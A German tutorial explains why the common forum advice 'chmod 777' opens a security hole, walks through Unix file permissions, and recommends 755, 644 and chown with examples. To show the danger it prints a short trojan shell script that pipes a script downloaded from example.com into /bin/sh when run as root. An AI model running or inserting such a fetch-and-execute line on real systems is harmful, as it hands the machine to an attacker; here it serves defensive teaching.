Bei Problemen beliebiger Art findet man “im Internet” (meist in Blogs und Foren) den Hinweis, man solle das Problem mit “chmod 777” beheben.
Manchmal scheint das sogar die Lösung zu sein, weil anschliessend funktioniert, was zuvor nicht tat.
Das Problem mit der Methode ist: sie reisst ein fettes Sicherheitsloch in das System.
Der Grund ist, dass man in diesem Fall viel zu viele Rechte eingeräumt hat, die sich in der dann vorliegenden Kombination auch noch verstärken.
Das kann man verstehen, wenn man im Detail anschaut, was passiert:
Das UN*X-Dateisystem kennt drei Rechte (“permissions”):
für jeweils drei Klassen von Nutzern:
Weiter gehört jede Datei:
Mit ls -l
sieht das z.B. so aus:
-rwxr-xr-x 1 root root 130128 Jan 26 2013 /bin/cp file type ^ perm owner -^^^ perm group ----^^^ perm other -------^^^ file owner -------------^^^^ file group ------------------^^^^
die Permissions “rwxr-xr-x” bedeuten also:
Anders formuliert:
Das ist die korrekte Einstellung für die allermeisten Programmdateien auf dem System.
Eine Notwendigkeit, eine Programmdatei schreibbar für die Gruppe oder gar alle zu machen, gibt es nicht.
Dateien, die keine Programme enthalten, benötigen kein Ausführungsrecht.
Mit ls -l
sieht das z.B. so aus:
-rw-r--r-- 1 root root 2524 Feb 12 19:33 /etc/passwd file type ^ perm owner -^^^ perm group ----^^^ perm other -------^^^ file owner -------------^^^^ file group ------------------^^^^
die Permissions “rw-r–r–” bedeuten also:
Anders formuliert:
Das ist die korrekte Einstellung für die meisten - aber nicht alle! - Daten-Dateien auf dem System.
Eine Notwendigkeit, eine Datendatei ausführbar für irgendwen zu machen, gibt es nicht.
Was gelegentlich vorkommt, ist, dass eine Daten-Datei von einem anderen als dem User “root” geschrieben werden können soll. Das kommt z.B. bei Protokolldateien und Datenbanken vor. In dem Falle müssen nicht die Permissions, sondern der Owner geändert werden. Mehr dazu weiter unten.
Wenn eine Datei mit allen Permissions existiert, kann sie von jedem geschrieben und von jedem (anderen) ausgeführt werden.
Das heisst, jeder Prozess kann den Inhalt der Datei verändern und z.B. beliebigen Programmcode hineinschreiben. Und der wird ausgeführt, sobald irgendwas oder irgendjemand die Datei ausführt.
Angenommen, der Inhalt der Datei wird ersetzt durch etwas wie:
#!/bin/sh if [ `id -u` != 0 ]; then echo "error: you need to be root to run $0" else wget -q http://example.com/really-bad-script -O - | /bin/sh fi
dann gehört einem die Maschine nach dem Aufruf des so trojanisierten Kommandos noch etwa 0.5 Sekunden.
Man sieht: die Kombination von “Ausführendürfen von nicht Programmdateien” und “jeder darf schreiben” ist für nochmal mehr Ärger gut als die einzelnen Fehleinstellungen.
Dabei ist es egal ob es sich um den Firmenserver, den heimischen PC, einen Einplatinenrechner wie den Raspberry Pi oder einen Router mit OpenWrt handelt.
Programmdateien (Binärfiles, Scripte):
chmod 755 DATEINAME
Datendateien (Datenbanken, Logfiles):
chmod 644 DATEINAME
zusätzlich, wenn ein User ungleich root Schreibrechte benötigt:
chown USER DATEINAME
Beispiele:
drwx------ 2 mysql mysql 4096 May 3 2014 db_accounting -rw-rw---- 1 mysql mysql 8640 May 3 2014 db_accounting/objAttr.frm -rw-rw---- 1 mysql mysql 98304 May 3 2014 db_accounting/objAttr.ibd
Der MySQL-Serverprozess läuft mit der User-ID “mysql”. Daher genügt es, wenn die Datenbank-Dateien und -Verzeichnisse von diesem User geschrieben und gelesen werden können.
Die Datenbank-Dateien sind keine Programme, also brauchen sie keine Ausführungsrechte.
-rwxr-xr-x 1 root root 222 Jun 15 2014 /usr/local/bin/b64z
Es soll von allen benutzt werden können, also hat es Ausführungsrechte für alle. Schreibrechte sind nicht erforderlich und daher nicht erteilt. Und es gehört 'root'.